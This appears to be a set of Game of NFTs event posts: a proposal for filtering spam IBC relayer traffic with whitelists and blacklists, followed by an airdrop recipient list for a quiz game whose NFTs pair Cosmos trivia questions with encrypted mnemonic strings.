Juno channel: channel-133

The code

The code is very basic, ugly, and hard-coded. This is because I don't know the go relayer code base very well and took this task upon myself to demonstrate a potential solution, not create production-quality code (yet). Before much more time is spent on this, I want to discuss different aspects and variations of this solution (discussed in detail further down).

gjermundgaraba/relayer@480f4fa

Discussion on more robust production solutions

The core issue in our case is that the relaying economy is altruistic and easily exploited. Some approaches can be taken on a protocol level to decrease the possibility and effects of these attacks, but as long as there is no direct cost for the user to relay a transaction, we are stuck with two options:

  1. Self-relay
  2. Try to filter out bad transactions

Simple whitelist (this version)

The solution demonstrated here is simple enough: it filters based on events. But that also makes it fairly powerful: you can make a whitelist filter that catches all the scenarios you need and increase specificity as needed.

Simple blacklist

Another way to go about the problem is to implement a simple blacklist based on the same principles as above: look for certain events (from, let's say, a known malicious contract) and don't relay them.

This is probably not very scalable, but it could, in a pinch, provide relayers with a simple method of updating a config file with a known in-progress attack event and spare users without too much effort.

Off-chain, indexed, combination of whitelist/blacklist

Connect the relayer to an off-chain service that indexes the chains and finds, using different sources (such as machine learning-models, discussed further below) and outputs a whitelist and/or blacklist that can be used for relaying.

This method has a lot of potential because it allows for the aggregation of data and more complex rule sets than just using events.

For instance, it could easily allow transferring NFTs that are created from a specific range of contracts (based on code-id) while ignoring everything else.

Pattern-based blacklist/whitelist

Finding ways to automate a blacklist or whitelist seems prudent if this is the way we go. We could, for instance, keep a cache where we count the number of transactions from particular accounts, and if they go above a certain number within a time period, they will be put on a temporary blacklist.

Essentially, we could have rule lists that do pattern-matching on events or other things and uses that to automate a blacklist. These rule lists can be implemented in some configuration files that validators and developers can easily share and improve over time.

Machine learning-based blacklist

Machine learning (or "AI") is exceptionally good at finding patterns in large amounts of data (if trained well). By collecting data and labeling them, we could train models to detect new forms of spam and attacks and quickly prevent them from causing too many issues.

All-of-the-above

If this becomes a big problem, the ultimate solution would probably be to layer these solutions on top of each other to provide multiple mechanisms to fine-tune relaying.

Conclusion

This solution has the most potential because it doesn't restrict anyone from relaying whatever they want. It simply allows relay operators to tune their relaying operations in such a way that they can best serve the IBC networks they relay.

It is also much easier and safer to update than, for instance, an on-chain whitelist of any sort that would potentially hold back builders (with this solution, they can still relay themselves).

Finally, this solution is not specific to only NFTs or a small range of problems but is inherently extendible and should (with all the different solutions - over time) support any IBC traffic.

GON: Airdrop Recipients List for Quiz Game :parachute:

ClassID gonQuiz

NFTID Recipient Data
quiz001 iaa12ju0lu2gc75a6jdzrhgth0tn76c9cnnwtnslq6 {"question":"How many official incentivized testnet events did Cosmos held before the Game of NFTs?","mnemonics_encrypted":"iJ2L8TzccjgMDiaXDhgPqEV2c_LcguHkaphwfx7mR-yAoelAf-AXI-zX575JAjohu_jkfdX86Q15HdLazVareJfQ4w0-zN4h42OiBdeeCEYRJEttmxsaU7ppzsdNPm1hNaa8CGufyk45gPJYWBFTIToLcK6V1ghuh4cymbc5BvUeipogNpQ6fK0mDrAqrR7evrhMCLNDvDoOlkDMJcVV6ZlIVi5dU4s5A5QQNPUP","flow":"f04"}
quiz002 iaa1z7q4z798r3l7ms2wvpvqranyd8u0u8rqhrz6tt {"question":"How many rounds does the Game of NFTs phase 1 have in total?","mnemonics_encrypted":"TJ5dyseXmb4HYXXcCUpWxVaUngByc5S-iyIVfINZ5t6Sl4J5JgxVxCAqRpzV7VsdmjeoYZpukLWQrG_qKccTMmSFOEpQ311IDmPwbd24cvyhqlHXKKu90OiPOAOInYcSHofzbRlFlBU7sSWeA2XlcGz5t1Nk8CUhz4pnCVQ7DCqjd2qErCpganvjqrjcZyoYyWNrx8XlCOcsp-E3cpD6QdMK2dikIh3Ahvw=","flow":"f04"}
quiz003 iaa1ckw6tvpev4slmhwsjpadccppxljvc70ry0kl4d {"question":"How many stages does the Game of NFTs phase 1 have in total?","mnemonics_encrypted":"CEShaUvEZG68KzeCrSCW_Gd2yBF3S1VTnkcZ4Kc7fyjEFCOQ6MSzroFoVCdud4kjOLmiFSnSJZ8uqu9wrkYrU6VYLRedJi-4lPWBF2gBKIdI_lKmGiXegM_2DJ6MnpBQG9kPCd-0GU0mhZ8QCYZ2ySwwSPYjj_dnXoEeGUd9OmrmnJGM1ofjfy1BSWOU3oiWQ65s2hbqHmQtNoOa53awBrT1opQ9sWUn5HY=","flow":"f04"}
quiz004 iaa1ervh6t9mg73ddfzngcecgjvu983g2j7tj0exmz {"question":"How many chains are in the Game of NFTs phase 1 incentivized testing?","mnemonics_encrypted":"vU7S5MipfGP67mbn9byzRhCU-FJkzjb0PekvbvZCGkl1BaVkjeH__7P1C20zKPMcv3xMgFYUg8yanxFTGQRD7EG-7hP2laB7dSAYVYrWjZ152oJS1G7_QwTWyAsj9Ye1OyLgEvma69Rb7B9aYhgE_eh9xaafpHKqAMfAUeOVvDtUOCV_sZ6V7G8rUx0t3LZdDifvxQhSwHQpBied5p0aUaJauO88hiCQWCE=","flow":"f04"}
quiz005 iaa1fmqg37vws6qhla3y03g9vs2dswchrgt9zpd54y {"question":"How many task flows are in the GoN event?","mnemonics_encrypted":"KEN-PD5Wonw8ldbZ22taCyu7neNN4THhUq8k-4zagqaUh8xcVZj1ICNhTNXmz_XJ7v-i7Q-bPhBRbcj9e-wfBVT5azlRRzIqWQuOs67Pdd4YewkugfQwESqF-C_Iiq_ImH4sNJRULqWQHz6LdOrGWDNyDOdgVYsYaOcJHsMIthxpFPCzExvQ7R43CP-q8ZfWi2TBYj0uQlhbI4BR3TQir_V2IjsStfHXl0C1wKFc","flow":"f04"}
quiz006 iaa1df3lk4u6sr78658dafhm9ttyqgwu7np2kyzlgj {"question":"How many official channel \u0026 port pairs are in the GoN event?","mnemonics_encrypted":"g18kagRONTeJFx_O95r3qAgcF9DT0tzfy7opgfuITKsmmmOQj_xvKcwpQt6JkuwXnfxgUvbOj0cIos3M5iSFFh3gUN7s5ly_hIEDCthXpuu3EbtybNue33cNw7a9zhb56bSPYl4ScvtxIPCX--gzuQd1yMDeh7os6uPjUf0hPervWr2AK0Mb4mAQz-LRXKjklD-7oEOR_nI60Qno0temk1dOXghQAN4=","flow":"f04"}
quiz007 iaa1ku0rpv8hjv462hq4x2dpypsenwg08jfh3uxm77 {"question":"What's the chain id of IRISnet in GoN testnests?","mnemonics_encrypted":"UR306yZofYQGiCtGdfnwdxYhOLTD9C7H2It1qA7DUwh57Ijg5BWt2szFb-twoEsdkghqwMZO88w6MNdxQzeGPrPfmz6hpa5wlxasvFafkN2j3JfdEA_zHIVkMORP1v_ALeiP9W-ymYj6M5FcubW8JIO4EZrXNRaCvm8sTbCI_FWIm9zkl4qWQib4pPjmhbO4TT7unkgV1ZlcblPDy4PTkQyUeWKOKp9iKkE=","flow":"f04"}
quiz008 iaa196xcfh9gk96e9e9l3hkc2zpgmemg7cx7qp2f2w {"question":"What's the chain id of Juno in GoN testnests?","mnemonics_encrypted":"ZLAOLdxywOZB-U6_LlHhFnLh-1cwYT250CCSs-n6bqdkkN96sIFvCYWCjKE6uqKZ4YLam63lDbGIcU2sHZ62L2ezmwVHXlJJg19BECJRTIwsJFsvRTjIUILNj340uTcLFz47uBZepg6vacoKh4WxGtSVP0HBHgu-pskgHr88nw9q3tmjfg-UbeiFXR-kL13Xhn8SFryaEAo8yMiULwvhbWo=","flow":"f04"}
quiz009 iaa1fq3q6sk0qerwpgey4mthlg9nmv0f784nwfm9hd {"question":"What's the chain id of Stargaze in GoN testnests?","mnemonics_encrypted":"V9-9WUC-Chn-RnfCPDQ0d5lRArAVpJ2aFOmCBusPOdalGEFDSf6luD0M0Tk-kgfwwrkUBC2HUR4AEoYCqsuiDY4-VPPwpIetH0r0YQpzf3Ga7xD1_1XOgpe64bnADMIuy3W1QGWkn64tnIuYY8C7kn15ujujlHKlN0Kn5r-Z9ZEL54IC-nAbM2rmaBsiNpB7Fd5_0qYRX_nRY8uJmepsMx4ODnHDqGjG5uGTUDLanew=","flow":"f04"}
quiz010 iaa1n5apjsaf8h9nrjqmr3n9e3vqaaegupjaqczywc {"question":"What's the chain id of Omniflix in GoN testnests?","mnemonics_encrypted":"2aUoYR11fTaWToKZSnZbIQBXgc6esAfmoXba-NavG_90AGE96uP0VHC6lTseOQpzlyN9XqLp1LJ9b7dYx00_Wj7ZZZNDYs0RIBcrQkGcocbsotWp_dYKJ_nz8_9UzE1vVTH651d9RUzvLf_FT17HwltnTdjayTdQY8-TZAYqiBT88oRn7-Qg_XD-kxOrtSqfd_tEBwG_pnob01bLKQ==","flow":"f04"}
quiz011 iaa1qzx6yfjypta4xg396d8fepmvcydjpm7zj4ddaw {"question":"How many ATOMs does the Game of NFTs phase 1 provide in prizes?","mnemonics_encrypted":"xpM5PL66SGtCSFOIqm1BrV5LLiz1Fnh3cCEHuWdrPPhiW76kGVbhw3tdNsIr_j25OvdyajzQqM1Jea6eQ2f45wuTERX1JrV0rnuyVrEvKnTNxPksziUkIKCx03pqLpnbH33hVn6j6rfuq9cdB3FOIGf4ylQOHXKiy4RiBf-Mc_bmysgQ5-oz1a0s1QAtwT_0e4SbHl33EaHi-ILujyUqcubTx8YV","flow":"f04"}
quiz012 iaa1wqdgfxajyqrjts3hj46pglnxmqckcyv8xy8y46 {"question":"What is the proportion of the Game of NFTs phase 1 prize pool that will be used to reward the Contribution Awards winners?","mnemonics_encrypted":"6jj81t0SWi-F50uTbWAGQ1_Vo4ehqfitdInv0xle82gJcGx0ltTHwIwC6djof_5JjHeWi5u0eqg-5iCQ7F8Mf2nhjiGb6MWP37s3uRqB3LiIIyHqn7-frQIz0_AEXA5-iY4DfpB2Tpy83j0wgjIkZhq7zCvJGaRRFtu0RT-bx1kvIxN1Nqd8hg-wn6LnrV0Ql5QvE6hX7jx17ta4Ib1jrQbRRIKkJNzW_rcqwsHkgQ==","flow":"f04"}
quiz013 iaa152jkrky667k4wf7u438kc8yw68lrn64fp2s3cd {"question":"What is the proportion of the Game of NFTs phase 1 prize pool that will be used to reward the Task Completion Awards winners?","mnemonics_encrypted":"zyg59Y6O3LiSg7SEecqhQ5KmH-UT-2WHALSTAP2Gvni5vnHAa94NmkFS1AVgcWkcSz_6ltmI2jlYnm4tIzJqby2kUNYQdIK3C_jP-WhmONyE6kOMsrm_9-cc1SV8ynNUt1T9TSJP39b7b3876owAHzWpe2aZ8oaEkg-dc6iA_yH6u9QI8FcxPbv88UGDryq8zcBJRt1Iod10AvCTCcq4SOqCElE2","flow":"f04"}
quiz014 iaa17kcsmmxu9e05sjjf08tlupc300sj7jxusv02s9 {"question":"What is the native token of OmniFlix?","mnemonics_encrypted":"rrstX6-jNJ5_JNNMnGBXSsCU9hMjr5N52ztbfKJ94BgVfL72nVntEOcrtavzAQ0uNgb4Jv57lAwlKU9TgNblotOyFUbRAonpXcwwCtdr1a4FbXjBhTp9lDkZFyP9nGZDYW-qeodRPY9dHlQ2L7wnTeP485U5vDjCX7hcVAwSDQtGb8kzRVQcHa4BlfQdfY4HzNBvYadFTNDDSy9_6-ciWSGjQ98cyD2kjA==","flow":"f04"}
quiz015 iaa15dgpdzknkqps4k2g4yh3mpgcp2rmtez3s8ejxn {"question":"What is the native token of IRISnet?","mnemonics_encrypted":"K5m2WcWtLzlpoANYseINERdzhqjayFJN1YfEzwT3Peqj-_1q8kwz5wthSxqegUyxbkHVQumipvSB9OpJGKOeuRFK6QF6ZhFEImAAe-oLfyBqk-SnFzTCqZe4u5Mz_kLjQMxnCNmj5nZp_kUX6wkDksBThh23Kccwgndm3DYo2QJ9RR1QKBnNp8fWiq_WbPx8jyKsGgRKYGUdFfSA9HCE14s=","flow":"f04"}
quiz016 iaa1fg3u2gzf63lat7ym7yxqj3ym4n3pan7ujgpl3a {"question":"What is the native token of Stargaze?","mnemonics_encrypted":"sQy-pPbbdy00BSnN-lfbkG_P6LrkQC9f_983rBJE6tYPIdxR-n6ThRBRkLlydgV_sLl4PMyyJnxJPG5vDXqZVEoay05cPK6M_zwgGtq1kn9mPQ-oomllBpwbmmIsUGFECR4wpNI6KlGpGCaJKKz9wnYcrvOpuYu0xukk3WcQ6pVdHwFUQnzC_ZhQU8XYrfB602vpfOez8vy1F9mFyVjAcDZIoIk=","flow":"f04"}
quiz017 iaa12f0rgd6xz2k2pw3awe6n396p4m5ynqy5l8xpsa {"question":"What is the native token of Juno?","mnemonics_encrypted":"jGXAFSi4kt1dyFDkq_nxLQ8eXDT0RkNFUuRhmZeeNbAX0AYcG4xT3M37FZ2Uk0DdcPSzo2cYDSqLzQTyB4fdtI0_rxKBybH6_vefLhQ9hmIV415MK_aRJ9ALxVwdilxg-38BrNpel7Zh_aKITlZPvevYDONQRfqc6LNKV0-u7hWVOufZs7i7By-pm_nUQtBXoTsrHoTgkWL48JM-Ggj355jZoeiOieYTrpID","flow":"f04"}
quiz018 iaa1xugtxe9w979wvz44w3uvrermn4q87exzc06h4d {"question":"What's the abbreviation for the non-fungible token?","mnemonics_encrypted":"co-jocwYgOKOIxBDUZbFZ2z-ssPY6ZRCWxqY3lKQ4B2C30of7mJXkx0LqMQpCDN2VLYDh2xYunmO_UbZf5TeAkL0prCXdC_0uktlcvzs0glsovFb6-02ZWnvGmE3NqIZP8CgK8XzqnRO6p4Rw4MGMz0kJRubhs4X2-9Evu80HS2YnTOvXmv_ASf-GyvKugTm_RkYNJXhs8qCCUm5FpilfggrQfn_7WE=","flow":"f04"}
quiz019 iaa182vkngxqjzkweq22eyw64h0s374l9klsmkhs4w {"question":"What's the operation to interchain transfer an nft on IRIS? (iris tx xxx)","mnemonics_encrypted":"G8sa8QGwgpoB9ynkFgL1EZnQcwadzDsTxG8wHKjQkWGNCZdl9HUzRX1B8K_l0PBUB1czzEsawKgXbo3xsmPJs944riiNnOx2Sn-6ShbF3qPcmoKoBl66cbWqPOKWZ4JHEuwOxbYqU9N3gvDZkW8VhFJPehpsVNQk44xK-cLur0e1_nE6rtK5C_Q770JOpMEmENrOYsEFzcotF4M35cXZ4w0ykw==","flow":"f04"}
quiz020 iaa1sp8sj7nyj8m68welvy8yrf0434efxc2wynyqpe {"question":"What's the operation to create a class on IRIS? (iris tx nft xxx)","mnemonics_encrypted":"G2eLL9PzYQvfWBBqHRyIeH-uJxIf03xiPvkPOfx5Gfv3kS5c6qD4WMIlXfD1pynLBDTfQIr-aRarMT1u2TJtbh6x6HYU8wcCxMCN7d8UNxodOYjbLMgQ1NfXiEwMRkFX8BBLscNYZgTQbXGsLyCq4AN6epj-LKhZSidBfBNTYHM1jvB2SIpJG-c-L7rYcygMRnvETY2kGM-4RsWLAE1iM7qkUCs=","flow":"f04"}
quiz021 iaa1f7d7jykqzy9c0h56t7dq7nafhquyfqzheldf2y {"question":"What's the operation to generate a new nft on IRIS? (iris tx nft xxx)","mnemonics_encrypted":"UYxIklbVcsGga29rZ8BvFG3c1SQ9KXJZEV8viMBeVDjDCxTV31NgFJ6m_zqh20IINaIxYBxBDksRvP4UfCOIU55GfMKD3NxsxSXT3MC-mB0SXRFqH2kmU-yfhK-S1j4_WEld73IazoNCWEYlDLkHo4coZ-JSt7aAojwB3MGxqB2Q991p6xpuTW7AFgtRxH6jPNjKXZtFSD4WUZql6v1_7l_gTYB3ggmbgk6TcNOS7qI=","flow":"f04"}
quiz022 iaa17ytd0zc27z69p5nrduuts9377qwg3ryj0wqg9q {"question":"What's the operation to destroy an nft on IRIS? (iris tx nft xxx)","mnemonics_encrypted":"pFtGvVHWvDwHHNJ9EqPoUwzFqwiUhWhUv9sDSvtev6o9xvaArR6KgSom49eANMPuwBkysqah0I7Vk6IAbOfBUfDxq9cFrpmrVXAlRHonuCjTqYPVbQWm_IfyIk2CpQfYxFaT8WpATriI3bED-JDygBMp4DLwO4tXFWT41_4OOky_lIejhgNnFebx6mX-NyCQVwUjdFy9I7ilej6mgbdAXOabMiDFnqeL","flow":"f04"}
quiz023 iaa13fxdwjqmpek75nch2hqes763qek8w0pu5l3hm0 {"question":"What's the operation to give out the ownership of an NFT on IRIS? (iris tx nft xxx)","mnemonics_encrypted":"TVql8wK4lHFqLNlKM6DZXAwVdJcYqhfEvZmjGDosOetEXdpeoRpFMwpNjkaH96Trfuk0kkbheF1zacnrhNGFTpf1TzrcnlHXlftVa5n38D314FLrRmXaPALk1yyekd1ixVbZ3ElyUxEgM1t2BGqowqzEcSiNCsAoPoU_mXHq4pak5Ca4xH0qvcS_K5SlOLVKhr4TRDAqbZpwWdBMLqpG1y6yZXC8qQ==","flow":"f04"}
quiz024 iaa14hd0kaeypy2c9jqrlvs3f3lfufd3yytsttu57c {"question":"What's the operation to modify the NFT metadata in IRIS? (iris tx nft xxx)","mnemonics_encrypted":"_14NXPnwEIGdAvD-jEDKFrpDN47CgDVvdi9_C7ck0zA1JO7B4-rt_GjpkpOAxD5ucGRJ9eb5wS2Di1crQG1d0X2eDppVcKc0jFcSaVhwpa-WGlamXMnT9JMT61nj-gfqP5-eXJEEpP5NoDcrPxFLuSDxii4EeGPUAUJIpylywYu5lGokaZimMEfzzTWQPjbkXmAOHWoNnTCzvgG_aP1J_EghlxlITHc=","flow":"f04"}
quiz025 iaa16uxsa5r24dm4deguvddd7rslghw5cejg283qeu {"question":"What's the field used for an NFT to store off-chain metadata?","mnemonics_encrypted":"SLskUnxY72pdvLQn3IxCFGdUCguHSFhp4WDjOepUVf_JIc6n6c_YB3Q-lejvgh_R4oAwNoAqc1s6YWxC5BJCOl8Rx_ke61jPfJ0LPG0M0QuAffeZEPBOl20EPjfYdLk9ABwwztR7AbO9Tc87csKUukhaG_23TO_vgC6nSm3mIrgR5oqDYv4cLNU4AS3ZjFgwjzN0omhmMlCwKlAXB6XBz2sHAQ==","flow":"f04"}
quiz026 iaa17v2xkeqazqd8jlkgewfr8qr99afg0trj3j7gq0 {"question":"What's the standard for NFT Rights Management? (erc-xxx)","mnemonics_encrypted":"OV1yL09KI-nGJGLc5vUW7IpIp-6VDs1lRzeHMpooYy88JtbemSmbnbXq_50DtiCFLUlWdKDb8XQyzgjSVLGSkoHVuPLprXIXJ4ETBdBJZjr0DFo1WNzRzv4K_6yKR1lNIcOxniD40noy1apRMyk4YZ4DhvZhvL15fMe92JkL39nC6P6FseQLjEQywpFJe4tsiJQ-Stqyo6ZrBWJbRTxj0w==","flow":"f04"}
quiz027 iaa1e8z29dvuwul9t0x6pmg5r7w2n8ed80uzr9r46k {"question":"What's the standard for NFT Hyperlink Extension? (erc-xxx)","mnemonics_encrypted":"RG-Et9dX8uPi1W8QCGyTGU9BTsnevFWBwJy5eThEyJ0lR2X1MECbAm8Z6zRhx3o0IgrvywjO48nMzmz8zsycsmz9OYiM9sDlycqM8r2MUJsigBI4YpObi2eLPuozalBxrrWxvnduuuVU025H-gjBqSRY3oFJwypZaW3i4ijWALcZzcsbleC8igK7LRkPQKKVdXkTQMdg5kBVLSPf0JFvJEpxuvhpfKxDMQp0gw==","flow":"f04"}
quiz028 iaa156e0mkmdk9lrla4pdyvslhgqq4xkldqe8sxafv {"question":"What's the standard for NFT? (erc-xxx)","mnemonics_encrypted":"l1NaeB2GJd-MPGkebpMxndfCpIoxVNuRpdN0_foG-i1fhn5nhZwDm_RIJJNQPn1SatNWG4zpWCXs3qqJtE6YrzUlI8aq3orJ3UEIC5KCqWhYgc0LFhJaGl3xtlp9ym5JhM_yVA9AftY_gfbkFF5r6gCfSIHIjItFZezH6KrF8yUN_y1WwVZ3qEw2skRJsE_vD3t3O1fijQrRH6v_N-PkTn9QD9mAYQ==","flow":"f04"}
quiz029 iaa1wqnru0nm5ztqkvjswa94qrjpqsdrhy67e6penx {"question":"What's the standard for Rentable NFT? (erc-xxx)","mnemonics_encrypted":"Mv8Lll4f2Z3P3xnD6_tbE96MP8fbzAlhqlB43IX53KAHdGiPXisPkFjL8F_iVrHLNZDLXcVMxAQIdjmgqxyYqwhncItqZg52wGP3KMUG5d-l549Wc7pFpxTbsQvbWNyG19MaIWCEjix1jAgn6SKj95fRuxIUjCmTQCDuUUZ80dAj3e14-wzWIWv1DYnb2R66rhw2ACBSV3URB2QJZYM9nAEdkLL25MQLefs=","flow":"f04"}
quiz030 iaa1scrjmtld6j4czac3nst0ezcr8t2xk33tncdma9 {"question":"What's the standard for Royalty NFT? (erc-xxx)","mnemonics_encrypted":"kwc9RlH8QySojwZYgYWFinjLAJZXxoPbig_yl0WdOQs8p_ptNDyPdOajFnb_bA9VDUoX0dDUgesZb0t0J7IlFqPLSjd4teA-Qz9h7KCR-Ot1vjfrrDEP0NC50FkgDiEhtkIi_QUGNOvKl_YJWAKK_mI2Ve0bp-K5zkaSY_V27xKPoAq8FIyiqPoxQaoxIQ5-zYmG7Uc3NYfAp5GfzxMqShcjFwIcvHQwh50nY-PNu8LwY0gfnw==","flow":"f04"}
quiz031 iaa16zmmqjdwc64g9646djykkyndwfnx42lxuttkqk {"question":"What's the standard for NFT Licensing Agreements ? (erc-xxx)","mnemonics_encrypted":"iHH9zejw-EP_HpoLKwvW5cB9-_CkX2kdcMFeMlB2qhBa25_viw7-UG1eZ6jEJUyG2MYh1rr1KYMeovf41t-1234jmuYCJTnIqkUJqXjIf_EcqNw23HnshjGuC0WSNkCqv9nLcjubXiT3ju2VtCJvOuc8H8ACiVwV0IIljnj1Un8UTnBVPAMLwBuj6Dya894Lny7Qfha-UHamsJJNhI7iPY1GsOhu","flow":"f04"}
quiz032 iaa1pa0p3auku3xcyxd6tl04pczm3szt0g235u60dd {"question":"What's the standard for SFT? (erc-xxx)","mnemonics_encrypted":"kdab2utMBNEX4sA2aK_3X2aPwp0S2800ejy3Ag7m1dNEfUfOWle8ny8vcTv9L2ZBGK3YbOdxsiNivwR8fUeuQdokv1FObehLhttlubE1y-fWFpgoFVZMGQFcebM7DnC-Tpxn6aD2lp5RzEtkNyJSCI-gtBTX0Yiu6cWN_22NLc-pX0TnvItgAFCFRBLIDYogVE2FRF1xRvJlyPHvufrozFugOy7uGg==","flow":"f04"}
quiz033 iaa1ydz3dc78pg54x25cfsgxjvlysxl7eff6p94dzy {"question":"What's the standard for NFT Consumable Extension? (erc-xxx)","mnemonics_encrypted":"76swDqtZFoIWfak8d5P00t5CezVl1IkLMNt9b4TCP5Lc4QDNQLlr1hXN7L7Rmh2nOpVrzeyYwRg_uCAHqUg-agVA5ygIIrxsxFZ-WtZqUeiCQizzpd0a3aAsdrr3XnYKvR5R62U4EcNWyqNi5amR-vEXoyU_RA8n90fNlPELG6564A9D7NliGqZDD83FSkIk2g6une6cW3-dqSK54Iry2VHKroxEjYdzqw==","flow":"f04"}
quiz034 iaa1f394huy8vj560zcrna2qc6vvxh6chq55d7vu4f {"question":"What's the standard for Hierarchical NFTs? (erc-xxx)","mnemonics_encrypted":"lELcFzAlJHzOU7WCbmgMqsr0qg3ldUcZtOMr8zOtt6JcPhtpGbB4hrEiNGlwJyJ9ef3uXAqcKjN4D0VG52ff2e0rveNiK-4p9uQ8uD_2nUBfqRkGwqgbu0n_hk7YmEGmY2k2pewggfRJoLf1y2tUzRu-SVRj9JW3522Lm_AjK3lyR0iHYkwpn7jHYqtBkOTRqEnAi0wtKE6O8zpuLSWA-jqgAc7j","flow":"f04"}
quiz035 iaa1d82d7m63nn6xz7c2y9t9u36kppcm6jvvv96lmv {"question":"What's the standard for Shareable NFTs? (erc-xxx)","mnemonics_encrypted":"jnNq3n3t-FWLS3fhUDsKYbooB-Dc6htUldfEommEeSL9MJYyKJWUZoF_gI1x5JuW6y_n13LhePfcEPxR2DPADGzL8WliD07JDcAeXA-vJS49e1mO6tcERjPgJDJ53oeqZiIm_lXmT5L-1zo5DI6N6X8xfMZPVxFM7Wlm9Jo-_2bP74NxeUyOtGin0m8OwZfNMtCO-LpW6_sNI7auypizcXN-tnwp5x2K","flow":"f04"}
quiz036 iaa17jyxk8txyuq6jy3ze4anedyjntpx076qq0tr42 {"question":"What is the repository name of the Go implementation of IBC relayer?","mnemonics_encrypted":"kQaEeKpQyniVQLuaWPfzonVW7DrT36_zFO2sG8Dc532_SNe43R5MuL1EKnCuwG5U5_bL4h8M9mz1KKaFgUwlv4QZ0yYBTPMnhHLO6h8ACa4jYDDh-uA5cPbxY_B7i1lxmTJHsE0rtucFn1Bod_qP3Fjonst-zE9Dzj2skjtbN57Blei_TpDWzn-BumIFwOAaJAAYklBsVTru4RghOTWu_n1v","flow":"f04"}
quiz037 iaa1lh6dykta7qk7k3t9el8yjjvd6j54xnas0fxcwa {"question":"What is the repository name of the Rust implementation of IBC relayer?","mnemonics_encrypted":"S6iut5F_S9frGH1kRf6oAL4VmqZ1U3FoEBFeRKIZHEi0ElHzj146_CTV7ZoughSA19__RHGIcF-0O0RBxMatrUo8ncMmqdzTI48-P2G6fkBSZDkeMzA0hWpbu-7LZoSxd4DPFWlFCkEUX6gW50tWtItIYWcoz-fsukCRU0HCf2qiI85JdL8fHgWrnAF5TQfg4bdVDORedDxlnpWvkBM1IEsLC0wNDxf76R0F4ydjP_npeID6wto=","flow":"f04"}
quiz038 iaa1dqf6p3cz45my6c4uk7ktdhztfyp37c0300jega {"question":"What is the repository name of the SDK implementation of ICS-721 by Bianjie?","mnemonics_encrypted":"HRKPEwmY3IG_DpZYq5BWtvONM9D7MPmSojwQ76GUGkZCXcX4p9HN9O3uuf1odzMqeaG3DXEANN4jf54EKOcmwtW9mwxZgJ5mQ2qBlDTrBPssVA02GWrzAmx0MrBY7lwlASdekLlIq82iF3rJBjkxO30-Y_2tem0op7HoGu8zVVF9wjMez_rP0uvSTfHiJerzYRn8yRWN9kE_q-C0hYuqzc6Fa7yX","flow":"f04"}
quiz039 iaa1gzdrv6zm9luj30dwdfmf0tjhwmlmcglgsyxcxe {"question":"What is the repository name of the Wasm implementation of ICS-721 by Stargaze?","mnemonics_encrypted":"6A850VIydbQvi5TaPq9h0ERz4TzVZZvpdOPboL-l8uO9CIe51RDw6gACzmDQJlGQIJRmD-hnLS-f35kvJ4Mq4q__21Xq5bLZP0QOg_T0ZOLwJYfizFVWWW6XKpv99dZsS3TqeOARbFP9t97awYAC79wf69B-kdCmbm76luiNTQr7eL-KwkavSAdSAOIMdAKg4BRW1TzLv_5LSSaiI8rbZPLCX7bd","flow":"f04"}
quiz040 iaa18dl6rf26u8vu42m3hwg96ytnevh0dhq82zp74d {"question":"How many general tasks are in GoN event?","mnemonics_encrypted":"Q4z6LB2Dni2xZxdaCSlv36AQPbSkQK-HHadS3Z32zj7lfdTcdqlYhAVMI4LNlcQ6GIijgxkLIf3-p2w7Lvv0rTVOk-tseolEbPrpGfDbI8t_xY-qKenTVmBHK02JbK2MrPKpLT4CjkO-_2QPjaUQf7-3GQdT6c5S8IXlrdJ_fdPsLAg3xqNuHyLTU9JDSguuED9TkdkpqYRoEhZfi18HJZ8COrtWRjnfw6bfqk4s86w=","flow":"f04"}
quiz041 iaa12ndatuvx4jdj52mtkn7mknl725kcmcwk6n5txl {"question":"How many game tasks are in GoN event?","mnemonics_encrypted":"v201JWiL_yZo99DdnxI3qNNxtisjaiJ62hWtHqmOcaKmp1itT_ABIe69Fc8bJSrWGbGoBCi0mf-GjJx8Tu8KLWFKgMWWdNqt5cfzKRBh_moKuYxxYtIThQyqt9PWz-G3r34Z1t_rlfpWim8wo7UtWmCmK_zL_ewho1BSscVkMTyFVkR1_hRnSp2IFo-eR3BvunGg_uU28Y6TsMMW","flow":"f04"}
quiz042 iaa1nxm77rj3mgh93r9aquam2rkdhsp6s83y9du7ux {"question":"How many challenges are in GoN event?","mnemonics_encrypted":"kCr0i07tgb1S1GMc2ZzzAtk2-HbKFjALIVXHYXAUkD8xzVbsOHRMk1cmxmL4Al4hGGyiUm5zDgxVdRB6CVFyOlH7eU97UivaQ_FzhZh57KhKuE-x1WkCz3eU90adDpVjFNBcMHbtxnmvI4AGZHuyDyXDKojldSnXHwCay8FDi2_2K3SUmkA7bN_dsHxdGayaVZWKvFIpoRK-nv-JX1LvtovHn9bpNnEu6w==","flow":"f04"}
quiz043 iaa1m2a43dfp6gj9c5dl4h2e29jkceravtqf5fdp2w {"question":"How many awards are in GoN event?","mnemonics_encrypted":"tlgIM1cC3Z5_52qGGMXfRVkLieVk3zsxIICUT91PRW8Z0ZavjIrU6-7Yt-_IyN-mVWkbeJAZVWOHDqCEqwc9xY7izuCMtx20iK6--wcJHf4OEjl-peUIBfENf4K0-J15oVByZcwOLO5ik3oQV7xI_XFnDjfqWyLRW3CVSklWbuBl3FNUqnuFknvHUiKyaIJeo7kIDDh-0k0989PyXHefY0k5UuxFSA8OMRoM","flow":"f04"}
quiz044 iaa1szt27jvltzu5z8gu76mf9nyunfzfgukxf8krmq {"question":"How many round of airdrops are in GoN event?","mnemonics_encrypted":"Bdq-YyYJdEfG7FTyK2pmoP5BcejNQop-OrxXXlI2L1LPtupJlBlu28xDLw9ywlrhkSWHH0xtARFs_5MIaT-hUOhDEDWIMXeJm4bo6sDMxyW06XvjfVzroksg8dF_8sy47EC2G2Ke1Aw0J8OnB-zQ7z0emuUEaJGOB3i_ovxC6QjSmntoDQNGwEGSYah_4rE0o61Dom8pora7-lvgLk6dax0bKiT17A==","flow":"f04"}
quiz045 iaa1wfnpkp7al4ftt9yy6l0hw0jlq56g2jq5xfwrxe {"question":"Which Interchain Standard has specified the interchain account implementation?","mnemonics_encrypted":"hdyXm__AtREK6uJg-l3imjAOmdopoOjPJHi3NlnyJlLgrRIC26DgnCanfib5SvpHJV5RbnDRDoSPCdCciGNTUjmUlB2BJc3_HspRbZ0BYP1baYfPZlz9TWknubHw0wwqqp-zfq25jeVSsKDhlAt6DRk1eNopA46r0OvqqC4ulhLYwiCq1X0FqdI8mDUkcpvdPdHcxHUWf15RdXTKN1S4piZ7HQbvMsyajQ==","flow":"f04"}
